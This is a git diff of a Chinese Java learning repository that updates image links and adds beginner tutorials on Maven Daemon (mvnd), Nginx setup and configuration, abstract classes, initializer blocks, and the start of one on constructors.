+![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/maven-12.png) 仓库可以以下几种: -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/maven-13.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/maven-13.png) **1)本地仓库** @@ -407,7 +380,7 @@ groupId、artifactId和version这三个元素定义了一个项目的基本坐 **3)Intellij IDEA 配置 Maven** -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/maven-14.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/maven-14.png) **4)Maven 常用插件** @@ -426,100 +399,12 @@ groupId、artifactId和version这三个元素定义了一个项目的基本坐 - maven-help-plugin,一个小巧的辅助工具,最简单的help:system可以打印所有可用的环境变量和 Java 系统属性。help:effective-pom和help:effective-settings最为有用,它们分别打印项目的有效 POM 和有效 settings,有效 POM 是指合并了所有父 POM(包括 Super POM)后的 XML,当你不确定 POM 的某些信息从何而来时,就可以查看有效 POM。 - maven-javadoc-plugin,javadoc 插件,将源码的 javadoc 发布出去。 - -### 五、守护版 Maven,更快! - -在 GitHub 上闲逛的时候,发现了一个新的项目:**maven-mvnd**,持续霸占 GitHub trending 榜单好几天了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/mvnd-01.png) - -maven-mvnd,可以读作 Maven Daemon,译作 Maven 守护版,旨在为 Maven 提供更快的构建速度,灵感借鉴了 Gradle 和 Takari(Maven 生命周期优化器)。 - ->[https://github.com/apache/maven-mvnd](https://github.com/apache/maven-mvnd) - - - - -Maven 和 Gradle 可以说是项目构建工具中的绝代双骄,我自己的观点是:**Maven 不比 Gradle 好,Gradle 也不比 Maven 好**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/mvnd-02.png) - - -瞧我这该死的观点,足够的圆滑。 - -Maven 的优点是稳定可靠,在绝大多数的项目上工作良好,社区生态很完善,几乎所有的 Java 开发者都在用。Maven 的缺点是,对于大一点的项目来说,构建太慢了。 - -Gradle 的优点是足够的灵活,构建速度也会更快一点,因为使用了后台进程和缓存机制。Gradle 的缺点是版本迭代速度太快,社区跟不上,对于初学者来说,学习曲线比较陡峭。 - -mvnd 并不是 Maven 的重构版,**等于是 Maven ∩ (Gradle & Takari) 部分优点的一个交集**。 - -mvnd 使用了以下架构方式: - -- 内部嵌入了 Maven,所以不需要单独安装 Maven。 -- 使用守护进程进行构建,守护进程可以为多个 mvnd 客户端的连续请求提供服务。 -- 使用了内置的 [GraalVM](https://www.graalvm.org/reference-manual/native-image/) 虚拟机,和传统的 Java 虚拟机相比,它的启动速度更快,使用内存更少,内部的 JIT 编译器在编译时花费的时间也更少。 -- 如果已有的守护进程都在工作中,则可以新建多个守护进程来支撑新的构建请求。 - -这种架构方式使得 mvnd 的性能优势得到了进一步提升。 - -好,我们来简单尝试下。 - -mvnd 像 Maven 一样,可以跨平台,支持 Windows、macOS和 Linux。自动化安装的命令也非常简单,如下所示: - -``` -# Windows -choco install mvndaemon -# Linux -sdk install mvnd -# macOS -brew install mvndaemon/homebrew-mvnd/mvnd -``` - -为了方便演示,我这里采用手动安装的方式,速度也会更快一点。 - -通过下面的网址下载 mvnd 的 release 版本: - ->[https://github.com/apache/maven-mvnd/releases](https://github.com/apache/maven-mvnd/releases) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/mvnd-03.png) - -下载完成后解压,然后把 bin 目录添加到 PATH 路径下。 - -在终端执行 `mvnd -v` 就可以查看到 mvnd 的配置信息了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/mvnd-04.png) - -如果出现类似下面这样的错误,未找到 JAVA_HOME,可以按照提示在对应的文件中追加 java.home 属性,也就是 JDK 的安装路径。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/mvnd-05.png) - -刚好之前搭建了一个Spring Boot 项目,我们可以拿 Maven 和 mvnd 来对比一下构建速度。 - -先执行 `mvn clean package` 命令,一共花费的时间是 5.318 秒。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/mvnd-06.png) - - -再执行 `mvnd clean package` 命令,一共花费的时间是 3.225 秒。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/mvnd-07.png) - -反复多测试几次,发现 mvnd 确实比 Maven 要快上许多!Maven 维持在 5 秒多,mvnd 维持在 3 秒左右。 - -当然了,我本地这个 Spring Boot 项目本身非常简单,如果是构建时间更长一点的项目,mvnd 的优势会更大。 - -感受一下 mvnd 在一个 24 核电脑上执行的样子吧,简直就是效率神器! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/maven/mvnd-08.gif) - ---- 参考链接: ->- 嘟嘟MD:[http://tengj.top/2018/01/01/maven/](http://tengj.top/2018/01/01/maven/) ->- 杭建:《Java 工程师修炼之道》 ->- 许晓斌:[https://www.infoq.cn/article/2011/04/xxb-maven-7-plugin](https://www.infoq.cn/article/2011/04/xxb-maven-7-plugin) - -希望大家能在阅读完本篇文章后对 Maven 有一个初步的了解和掌握,并将这些技能在项目的实战中加以练习,以达到项目工程化的要求。 +>嘟嘟MD:http://tengj.top/2018/01/01/maven/ +>杭建:《Java 工程师修炼之道》 +>许晓斌:https://www.infoq.cn/article/2011/04/xxb-maven-7-plugin -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file +希望大家能在阅读完本篇文章后对 Maven 有一个初步的了解和掌握,并将这些技能在项目的实战中加以练习,以达到项目工程化的要求。 \ No newline at end of file diff --git a/docs/maven/mvnd.md b/docs/maven/mvnd.md new file mode 100644 index 0000000000..b67870df38 --- /dev/null +++ b/docs/maven/mvnd.md @@ -0,0 +1,101 @@ +在 GitHub 上闲逛的时候,发现了一个新的项目:**maven-mvnd**,持续霸占 GitHub trending 榜单好几天了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/mvnd-01.png) + +maven-mvnd,可以读作 Maven Daemon,译作 Maven 守护版,旨在为 Maven 提供更快的构建速度,灵感借鉴了 Gradle 和 Takari(Maven 生命周期优化器)。 + +>https://github.com/apache/maven-mvnd + + + + +Maven 和 Gradle 可以说是项目构建工具中的绝代双骄,我自己的观点是:**Maven 不比 Gradle 好,Gradle 也不比 Maven 好**。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/mvnd-02.png) + + +瞧我这该死的观点,足够的圆滑。 + +Maven 的优点是稳定可靠,在绝大多数的项目上工作良好,社区生态很完善,几乎所有的 Java 开发者都在用。Maven 的缺点是,对于大一点的项目来说,构建太慢了。 + +Gradle 的优点是足够的灵活,构建速度也会更快一点,因为使用了后台进程和缓存机制。Gradle 的缺点是版本迭代速度太快,社区跟不上,对于初学者来说,学习曲线比较陡峭。 + +mvnd 并不是 Maven 的重构版,**等于是 Maven ∩ (Gradle & Takari) 部分优点的一个交集**。 + +mvnd 使用了以下架构方式: + +- 内部嵌入了 Maven,所以不需要单独安装 Maven。 +- 使用守护进程进行构建,守护进程可以为多个 mvnd 客户端的连续请求提供服务。 +- 使用了内置的 [GraalVM](https://www.graalvm.org/reference-manual/native-image/) 虚拟机,和传统的 Java 虚拟机相比,它的启动速度更快,使用内存更少,内部的 JIT 编译器在编译时花费的时间也更少。 +- 如果已有的守护进程都在工作中,则可以新建多个守护进程来支撑新的构建请求。 + +这种架构方式使得 mvnd 的性能优势得到了进一步提升。 + +好,我们来简单尝试下。 + +mvnd 像 Maven 一样,可以跨平台,支持 Windows、macOS和 Linux。自动化安装的命令也非常简单,如下所示: + +``` +# Windows +choco install mvndaemon +# Linux +sdk install mvnd +# macOS +brew install mvndaemon/homebrew-mvnd/mvnd +``` + +为了方便演示,我这里采用手动安装的方式,速度也会更快一点。 + +通过下面的网址下载 mvnd 的 release 版本: + +>https://github.com/apache/maven-mvnd/releases + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/mvnd-03.png) + +下载完成后解压,然后把 bin 目录添加到 PATH 路径下。 + +在终端执行 `mvnd -v` 就可以查看到 mvnd 的配置信息了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/mvnd-04.png) + +如果出现类似下面这样的错误,未找到 JAVA_HOME,可以按照提示在对应的文件中追加 java.home 属性,也就是 JDK 的安装路径。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/mvnd-05.png) + +刚好之前搭建了一个Spring Boot 项目,我们可以拿 Maven 和 mvnd 来对比一下构建速度。 + +先执行 `mvn clean package` 命令,一共花费的时间是 5.318 秒。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/mvnd-06.png) + + +再执行 `mvnd clean package` 命令,一共花费的时间是 3.225 秒。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/mvnd-07.png) + +反复多测试几次,发现 mvnd 确实比 Maven 要快上许多!Maven 维持在 5 秒多,mvnd 维持在 3 秒左右。 + +当然了,我本地这个 Spring Boot 项目本身非常简单,如果是构建时间更长一点的项目,mvnd 的优势会更大。 + +感受一下 mvnd 在一个 24 核电脑上执行的样子吧,简直就是效率神器! + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/mvnd-08.gif) + +------ + + +本篇已收录至 GitHub 上星标 1.0k+ star 的开源专栏《Java 程序员进阶之路》,该专栏风趣幽默、通俗易懂,对 Java 爱好者极度友好和舒适😄,内容包括但不限于 Java 基础、Java 集合框架、Java IO、Java 并发编程、Java 虚拟机、Java 企业级开发(Git、SSM、Spring Boot)等核心知识点。 + +该专栏目前也在霸榜 GitHub Trending(Java 类),这让二哥终于体会到了霸榜的快乐! + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/maven/mvnd-09.png) + +star 了这个专栏就等于你在浩瀚的 Java 知识海洋里有了一盏再也不会迷路的灯塔。 + +>[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer) + + +*没有什么使我停留——除了目的,纵然岸旁有玫瑰、有绿荫、有宁静的港湾,我是不系之舟*。 + + + diff --git a/docs/nginx/nginx.md b/docs/nginx/nginx.md new file mode 100644 index 0000000000..b02dcbaa14 --- /dev/null +++ b/docs/nginx/nginx.md @@ -0,0 +1,214 @@ +最近在搭建一个网站,就不可避免地要用到 Nginx,索性就出一期 Nginx 的入门教程,希望也可以帮助到大家~😁 + +作为开发者,相信大家都知道 Nginx 的重要性。Nginx 是一个高性能的 HTTP 和反向代理 Web 服务器,由俄罗斯的伊戈尔·赛索耶夫开发,第一个版本发布于 2004 年 10 月 4 日。 + + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-01.png) + + +Nginx 的特点是: + +- 内存占用少 +- 并发能力强(可支持大约 50000 个并发连接) +- 配置超简洁 +- bug 非常少 +- 安装超简单 +- 服务特别稳(几个月也不需要重启) + +基于这些特点,越来越多的网站开始使用 Nginx。于是,掌握 Nginx 就变成了开发者的一项必不可少的技能。 + +### 一、Nginx 的作用 + +**反向代理**是 Nginx 作为 Web 服务器最常用的功能之一。什么是反向代理呢?很多初学者在第一次遇到这个名词的时候总免不了出现很多问号。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-02.png) + +那要想搞明白什么是反向代理,就必须得搞明白什么是正向代理。 + +举个例子,小二的浏览器是无法直接访问谷哥的,但香港的代理服务器是可以访问谷哥的,于是小二访问了香港的代理服务器,也就间接地访问了谷哥。那这台代理服务器也就是**正向代理**。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-03.png) + +总结一句就是,**正向代理是代理客户端的**,让你能正常访问目的服务器。 + +与之相反,**反向代理是代理服务器的**,让大量的请求均衡地访问到某一台服务器上。 + +举个例子,10 万个小二同时在访问 itwanger.com, 如果只有一台服务器的话,很容易就瘫痪了,于是高并发的情况下会有很多台服务器(假如 10 台吧)来接这个活,那怎么让 10 万个小二访问到这 10 台服务器呢? + +这就需要一个反向代理服务器了,反向代理服务器让 1 万个小二访问服务器 A,1 万个小二访问服务器 B,1 个小二访问服务器 C,这样的话,每台服务器的压力就相应减小了,是不是很 nice? + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-04.png) + +那问题来了。每台服务器的能力可能不同,比如说服务器 A 的内存比较大一点,有 100 个 G;服务器 B 的内存小一点,有 10 个 G;服务器 C 的内存更小一点,只有 1 个 G。怎么才能让没台服务器承担起它能力范围内的访问呢? + +**Nginx 内置了轮询和加权轮询来达到负载均衡的目的**。服务器 A 牛逼就把它的权重加大一点,让 5 万个小二访问它;服务器 B 弱一点,权重就再小一点,让 2 万个小二访问它;服务器 C 更弱,权重就最小,让 1 万个小二访问它。 + +除此之外,Nginx 还有一个很牛逼的功能是**动静分离**。 + +在我们的软件开发中,有些请求是需要后台处理的;有些请求是不需要后台处理的,比如说 css、js 这些文件请求,这些不需要经过后台处理的文件就叫静态文件。 + +我们可以根据一些规则,把动态资源和静态资源分开,然后通过 Nginx 把请求分开,静态资源的请求就不需要经过 Web 服务器处理了,从而提高整体上的资源的响应速度。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-05.png) + +## 二、Nginx 的安装 + +针对不同的操作系统,Nginx 的安装各不相同。Windows 可以直接到官网下载 zip 绿色安装包,解压后就可以了。 + +>http://nginx.org/en/download.html + +之前带大家白票过阿里云的服务器,有 Linux 服务器的话,直接通过[宝塔面板](https://mp.weixin.qq.com/s/ditN9J80rSWwnYRumwb4ww)这个神器就可以安装了。 + +不过,如果在安装宝塔面板必备工具包的时候,如果选择了 phpmyadmin(MySQL 的管理工具),会覆盖掉 80 端口,就导致没办法直接通过默认配置的方式访问 Nginx 启动页面了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-06.png) + +我这里以 macOS 环境为例,来演示一下。 + +第一步,通过 `brew info nginx` 命令查看 Nginx 是否安装。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-07.png) + +第二步,通过 `brew install nginx` 命令安装 Nginx。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-08.png) + +从以上信息可以得出: + +- 根目录是 `/usr/local/var/www` +- 配置文件是 `/usr/local/etc/nginx/nginx.conf` +- 默认端口是 8080 + +第三步,通过 `nginx` 命令启动 Nginx。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-09.png) + +第四步,在浏览器地址栏通过 `localhost:8080` 访问,可以看到以下欢迎页面。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-10.png) + +### 三、Nginx 常用命令 + +通常来说,Nginx 一旦启动后,我们是很少让它退出的,使用最多的就是 reload 命令。当我们修改了配置文件,是需要执行一次 reload 命令让 Nginx 生效的。 + +``` +nginx 启动 +nginx -s stop 停止 +nginx -s quit 安全退出 +nginx -s reload 重新加载配置文件 +ps aux|grep nginx 查看nginx进程 +``` + +要知道,Nginx 的 reload 对用户是无感的,这一点我觉得很牛逼~ + +### 四、Nginx 的配置 + +我们先来看一下 Nginx 的配置结构图: + +``` +main # 全局配置 +├── events # 配置网络连接 +├── http # 配置代理、缓存、日志等 +│ ├── upstream # 配置负载均衡 +│ ├── server # 配置虚拟主机,可以有多个 server +│ ├── server +│ │ ├── location # 用于匹配 URI(URL 是 URI 的一种),可以有多个 location +│ │ ├── location +│ │ └── ... +│ └── ... +└── ... +``` + +再把 Nginx 的默认配置拉出来看一下,我把注释加了进去,这样大家很容易就明白这行配置是用来干嘛的了。 + +``` +worker_processes 1; # Nginx 进程数,一般设置为和 CPU 核数一样 + +events { + worker_connections 1024; # 每个进程允许最大并发数 +} + +http { + include mime.types; # 文件扩展名与类型映射表 + default_type application/octet-stream; + + sendfile on; # 开启高效传输模式 + keepalive_timeout 65; # 保持连接的时间,也叫超时时间,单位秒 + + server { + listen 8080; # 配置监听的端口 + server_name localhost; # 配置的域名 + + location / { + root html; # 网站根目录 + index index.html index.htm; # 默认首页文件 + } + + error_page 500 502 503 504 /50x.html; # 默认50x对应的访问页面 + location = /50x.html { + root html; + } + } + + include servers/*; # 加载子配置项 +} +``` + +好,现在我们登录宝塔面板,尝试把默认的 server 配置复制到 Linux 服务器中的 Nginx 配置里。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-11.png) + +简单解释一下。 + +由于我的服务器上 80 端口是默认打开的,所以我将监听端口配置成了 80,如果你配置成其他端口的话,记得宝塔面板和云服务的安全组里把端口打开。 + +root 我指定了 `/home/www` 目录,首页文件为 index.html。这个文件是我自定义的,来看一下内容。 + +``` + + + +沉默王二 + + + + +``` + +很言简意赅,总之就是二哥,牛逼~ + +好,保存配置文件,并且 reload Nginx,我们在本地的浏览器中输入服务器的 IP 地址就可以看到效果了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-12.png) + +### 五、Nginx 的学习资料 + +关于 Nginx 的负载均衡,还有动静分离,等到二哥的网站跑起来后,可以专门搞个视频给大家演示下,比较直观一点。Nginx 的入门非常简单,但有一说一,如果想要在工作中用好 Nginx,还是需要花费一番功夫的。 + +我这里再给大家推荐一些不错的学习资料吧。 + +**1)狂神说的视频入门教程**,我个人觉得,狂神的入门教程还是非常舒适的,语速和内容都刚刚好。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-13.png) + +>https://www.bilibili.com/video/BV1F5411J7vK + +**2)黑马程序员Nginx教程**,总共 159 讲,基本上算是非常全面的 Nginx 的视频教程了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-14.png) + +>https://www.bilibili.com/video/BV1ov41187bq + +**3)极客时间上的 Nginx100 讲**,讲的比较深一点,涉及到不少原理层面的东西。钱包比较鼓的话,可以去付费下。不过,听说在某个地方也可以白票。 + +**4)Nginx 从入门到实践,万字详解**,图文版的,可以到掘金上看看这篇文章,内容基本上面面俱到了(可以看一下下面的目录),配合前面的视频课,拿下 Nginx 基本上是稳了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/nginx/nginx-15.png) + +>https://juejin.cn/post/6844904144235413512 + +这些资料如果能全部过一遍的话,我要喊你 Nginx 小王子了,估计公司遇到 Nginx 问题的话,你肯定是解决问题的那一个。 + + + + diff --git a/docs/oo/abstract.md b/docs/oo/abstract.md new file mode 100644 index 0000000000..dea56687f6 --- /dev/null +++ b/docs/oo/abstract.md @@ -0,0 +1,241 @@ + + +“二哥,你这明显加快了更新的频率呀!”三妹对于我最近的肝劲由衷的佩服了起来。 + +“哈哈,是呀,这次不能再断更了,我要再更 175 篇,总计 200 篇,给广大的学弟学妹们一个完整的 Java 学习体系。”我对未来充满了信心。 + +“那就开始吧。”三妹说。 + +------- + + +定义抽象类的时候需要用到关键字 `abstract`,放在 `class` 关键字前,就像下面这样。 + +```java +abstract class AbstractPlayer { +} +``` + +关于抽象类的命名,《阿里的 Java 开发手册》上有强调,“抽象类命名要使用 Abstract 或 Base 开头”,这条规约还是值得遵守的。 + +抽象类是不能实例化的,尝试通过 `new` 关键字实例化的话,编译器会报错,提示“类是抽象的,不能实例化”。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/abstract-01.png) + +虽然抽象类不能实例化,但可以有子类。子类通过 `extends` 关键字来继承抽象类。就像下面这样。 + +```java +public class BasketballPlayer extends AbstractPlayer { +} +``` + +如果一个类定义了一个或多个抽象方法,那么这个类必须是抽象类。 + +当我们尝试在一个普通类中定义抽象方法的时候,编译器会有两处错误提示。第一处在类级别上,提示“这个类必须通过 `abstract` 关键字定义”,见下图。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/abstract-02.png) + +第二处在尝试定义 abstract 的方法上,提示“抽象方法所在的类不是抽象的”,见下图。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/abstract-03.png) + +抽象类中既可以定义抽象方法,也可以定义普通方法,就像下面这样: + +```java +public abstract class AbstractPlayer { + abstract void play(); + + public void sleep() { + System.out.println("运动员也要休息而不是挑战极限"); + } +} +``` + +抽象类派生的子类必须实现父类中定义的抽象方法。比如说,抽象类 AbstractPlayer 中定义了 `play()` 方法,子类 BasketballPlayer 中就必须实现。 + +```java +public class BasketballPlayer extends AbstractPlayer { + @Override + void play() { + System.out.println("我是张伯伦,篮球场上得过 100 分"); + } +} +``` + +如果没有实现的话,编译器会提示“子类必须实现抽象方法”,见下图。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/abstract-04.png) + +“二哥,抽象方法我明白了,那什么时候使用抽象方法呢?能给我讲讲它的应用场景吗?”三妹及时的插话道。 + +“这问题问的恰到好处呀!”我扶了扶眼镜继续说。 + +**第一种场景**。 + +当我们希望一些通用的功能被多个子类复用的时候,就可以使用抽象类。比如说,AbstractPlayer 抽象类中有一个普通的方法 `sleep()`,表明所有运动员都需要休息,那么这个方法就可以被子类复用。 + +```java +abstract class AbstractPlayer { + public void sleep() { + System.out.println("运动员也要休息而不是挑战极限"); + } +} +``` + +子类 BasketballPlayer 继承了 AbstractPlayer 类: + +```java +class BasketballPlayer extends AbstractPlayer { +} +``` + +也就拥有了 `sleep()` 方法。BasketballPlayer 的对象可以直接调用父类的 `sleep()` 方法: + +```java +BasketballPlayer basketballPlayer = new BasketballPlayer(); +basketballPlayer.sleep(); +``` + +子类 FootballPlayer 继承了 AbstractPlayer 类: + +```java +class FootballPlayer extends AbstractPlayer { +} +``` + +也拥有了 `sleep()` 方法,FootballPlayer 的对象也可以直接调用父类的 `sleep()` 方法: + +```java +FootballPlayer footballPlayer = new FootballPlayer(); +footballPlayer.sleep(); +``` + +这样是不是就实现了代码的复用呢? + +**第二种场景**。 + +当我们需要在抽象类中定义好 API,然后在子类中扩展实现的时候就可以使用抽象类。比如说,AbstractPlayer 抽象类中定义了一个抽象方法 `play()`,表明所有运动员都可以从事某项运动,但需要对应子类去扩展实现,表明篮球运动员打篮球,足球运动员踢足球。 + +```java +abstract class AbstractPlayer { + abstract void play(); +} +``` + +BasketballPlayer 继承了 AbstractPlayer 类,扩展实现了自己的 `play()` 方法。 + +```java +public class BasketballPlayer extends AbstractPlayer { + @Override + void play() { + System.out.println("我是张伯伦,我篮球场上得过 100 分,"); + } +} +``` + +FootballPlayer 继承了 AbstractPlayer 类,扩展实现了自己的 `play()` 方法。 + +```java +public class FootballPlayer extends AbstractPlayer { + @Override + void play() { + System.out.println("我是C罗,我能接住任意高度的头球"); + } +} +``` + +为了进一步展示抽象类的特性,我们再来看一个具体的示例。假设现在有一个文件,里面的内容非常简单,只有一个“Hello World”,现在需要有一个读取器将内容从文件中读取出来,最好能按照大写的方式,或者小写的方式来读。 + +这时候,最好定义一个抽象类 BaseFileReader: + +```java +abstract class BaseFileReader { + protected Path filePath; + + protected BaseFileReader(Path filePath) { + this.filePath = filePath; + } + + public List readFile() throws IOException { + return Files.lines(filePath) + .map(this::mapFileLine).collect(Collectors.toList()); + } + + protected abstract String mapFileLine(String line); +} +``` + +- filePath 为文件路径,使用 protected 修饰,表明该成员变量可以在需要时被子类访问到。 + +- `readFile()` 方法用来读取文件,方法体里面调用了抽象方法 `mapFileLine()`——需要子类来扩展实现大小写的不同读取方式。 + +在我看来,BaseFileReader 类设计的就非常合理,并且易于扩展,子类只需要专注于具体的大小写实现方式就可以了。 + +小写的方式: + +```java +class LowercaseFileReader extends BaseFileReader { + protected LowercaseFileReader(Path filePath) { + super(filePath); + } + + @Override + protected String mapFileLine(String line) { + return line.toLowerCase(); + } +} +``` + +大写的方式: + +```java +class UppercaseFileReader extends BaseFileReader { + protected UppercaseFileReader(Path filePath) { + super(filePath); + } + + @Override + protected String mapFileLine(String line) { + return line.toUpperCase(); + } +} +``` + +从文件里面一行一行读取内容的代码被子类复用了。与此同时,子类只需要专注于自己该做的工作,LowercaseFileReader 以小写的方式读取文件内容,UppercaseFileReader 以大写的方式读取文件内容。 + +来看一下测试类 FileReaderTest: + +```java +public class FileReaderTest { + public static void main(String[] args) throws URISyntaxException, IOException { + URL location = FileReaderTest.class.getClassLoader().getResource("helloworld.txt"); + Path path = Paths.get(location.toURI()); + BaseFileReader lowercaseFileReader = new LowercaseFileReader(path); + BaseFileReader uppercaseFileReader = new UppercaseFileReader(path); + System.out.println(lowercaseFileReader.readFile()); + System.out.println(uppercaseFileReader.readFile()); + } +} +``` + +在项目的 resource 目录下建一个文本文件,名字叫 helloworld.txt,里面的内容就是“Hello World”。文件的具体位置如下图所示,我用的集成开发环境是 Intellij IDEA。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/abstract-05.png) + + +在 resource 目录下的文件可以通过 `ClassLoader.getResource()` 的方式获取到 URI 路径,然后就可以取到文本内容了。 + +输出结果如下所示: + +``` +[hello world] +[HELLO WORLD] +``` + +------- + +“完了吗?二哥”三妹似乎还沉浸在聆听教诲的快乐中。 + +“是滴,这次我们系统化的学习了抽象类,可以说面面俱到了。三妹你可以把代码敲一遍,加强了一些印象,电脑交给你了。”说完,我就跑到阳台去抽烟了。 + +“呼。。。。。”一个大大的眼圈飘散开来,又是愉快的一天~ diff --git a/docs/oo/code-init.md b/docs/oo/code-init.md new file mode 100644 index 0000000000..e584338710 --- /dev/null +++ b/docs/oo/code-init.md @@ -0,0 +1,116 @@ + +“哥,今天我们要学习的内容是‘代码初始化块’,对吧?”看来三妹已经提前预习了我上次留给她的作业。 + +“是的,三妹。代码初始化块用于初始化一些成员变量。 ”我面带着朴实无华的微笑回答着她,“对象在创建的时候会执行代码初始化块。” + +“可以直接通过‘=’操作符对成员变量进行初始化,但通过代码初始化块可以做更多的事情,比如说打印出成员变量初始化后的值。” + +“三妹,来看下面的代码,我们可以直接通过 `=` 操作符对成员变量进行初始化。” + +```java +class Bike{ + int speed=100; +} +``` + +“哥,那为什么还需要代码初始化块呢?”三妹眨了眨眼睛,不解地问。 + +“我们可以通过代码初始化块执行一个更复杂的操作,比如为集合填充值。来看下面这段代码。” + +```java +public class Bike { + List list; + + { + list = new ArrayList<>(); + list.add("沉默王二"); + list.add("沉默王三"); + } + + public static void main(String[] args) { + System.out.println(new Bike().list); + } +} +``` + +“如果只使用‘=’操作符的话,是没办法完成集合初始化的,对吧?‘=’ 后面只能 new 出集合,却没办法填充值,代码初始化就可以完成这项工作。” + +“构造方法执行得早还是代码初始化块啊,哥?”三妹这个问题问的还是挺有水平的。 + +“不要着急,三妹,先来看下面这个例子。” + +```java +public class Car { + Car() { + System.out.println("构造方法"); + } + + { + System.out.println("代码初始化块"); + } + + public static void main(String[] args) { + new Car(); + } +} +``` + +“我们来看一下程序的输出结果就一下子明白了。” + +``` +代码初始化块 +构造方法 +``` + +“从输出结果看上去,仿佛代码初始化块执行得更早,对吧?事实上是这样子吗?”我露出神秘的微笑,问三妹。 + +“难道我看到的是假象吗?”三妹睁大了眼睛。 + +“不是的,对象在初始化的时候会先调用构造方法,这是毫无疑问的,只不过,构造方法在执行的时候会把代码初始化块放在构造方法中其他代码之前,所以,先看到了‘代码初始化块’,后看到了‘’构造方法’。” + +说完这句话,我打开 draw.io,使上了吃奶的劲,画出了下面这幅图。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/object-class/22-01.png) + +“哦,原来如此啊!”三妹仿佛发现了新大陆,意味深长地说。 + +等三妹明白彻底搞明白后,我对她继续说道:“对于代码初始化来说,它有三个规则。” + +- 类实例化的时候执行代码初始化块; +- 实际上,代码初始化块是放在构造方法中执行的,只不过比较靠前; +- 代码初始化块里的执行顺序是从前到后的。 + +“这些规则不用死记硬背,大致了解一下就行了。我们继续来看下面这段代码。”话音刚落,我就在新版的 IDEA 中噼里啪啦地敲了起来,新版真香。 + +```java +class A { + A () { + System.out.println("父类构造方法"); + } +} +public class B extends A{ + B() { + System.out.println("子类构造方法"); + } + + { + System.out.println("代码初始化块"); + } + + public static void main(String[] args) { + new B(); + } +} +``` + +“来看一下输出结果。” + +``` +父类构造方法 +代码初始化块 +子类构造方法 +``` + +“在默认情况下,子类的构造方法在执行的时候会主动去调用父类的构造方法。也就是说,其实是构造方法先执行的,再执行的代码初始化块。” + +“这个例子再次印证了之前的第二条规则:代码初始化块是放在构造方法中执行的,只不过比较靠前。” \ No newline at end of file diff --git a/docs/oo/construct.md b/docs/oo/construct.md new file mode 100644 index 0000000000..14836c7875 --- /dev/null +++ b/docs/oo/construct.md @@ -0,0 +1,349 @@ + + +我对三妹说,“[上一节](https://mp.weixin.qq.com/s/L4jAgQPurGZPvWu8ECtBpA)学了 Java 中的方法,接着学构造方法的话,难度就小很多了。” + +“在 Java 中,构造方法是一种特殊的方法,当一个类被实例化的时候,就会调用构造方法。只有在构造方法被调用的时候,对象才会被分配内存空间。每次使用 `new` 关键字创建对象的时候,构造方法至少会被调用一次。” + +“如果你在一个类中没有看见构造方法,并不是因为构造方法不存在,而是被缺省了,编译器会给这个类提供一个默认的构造方法。往大的方面说,就是,Java 有两种类型的构造方法:**无参构造方法和有参构造方法**。” + +“注意,之所以叫它构造方法,是因为对象在创建的时候,需要通过构造方法初始化值——就是描写对象的那些状态,对应的是类中的字段。” + +### 01、创建构造方法的规则有哪些 + +构造方法必须符合以下规则: + +- 构造方法的名字必须和类名一样; +- 构造方法没有返回类型,包括 void; +- 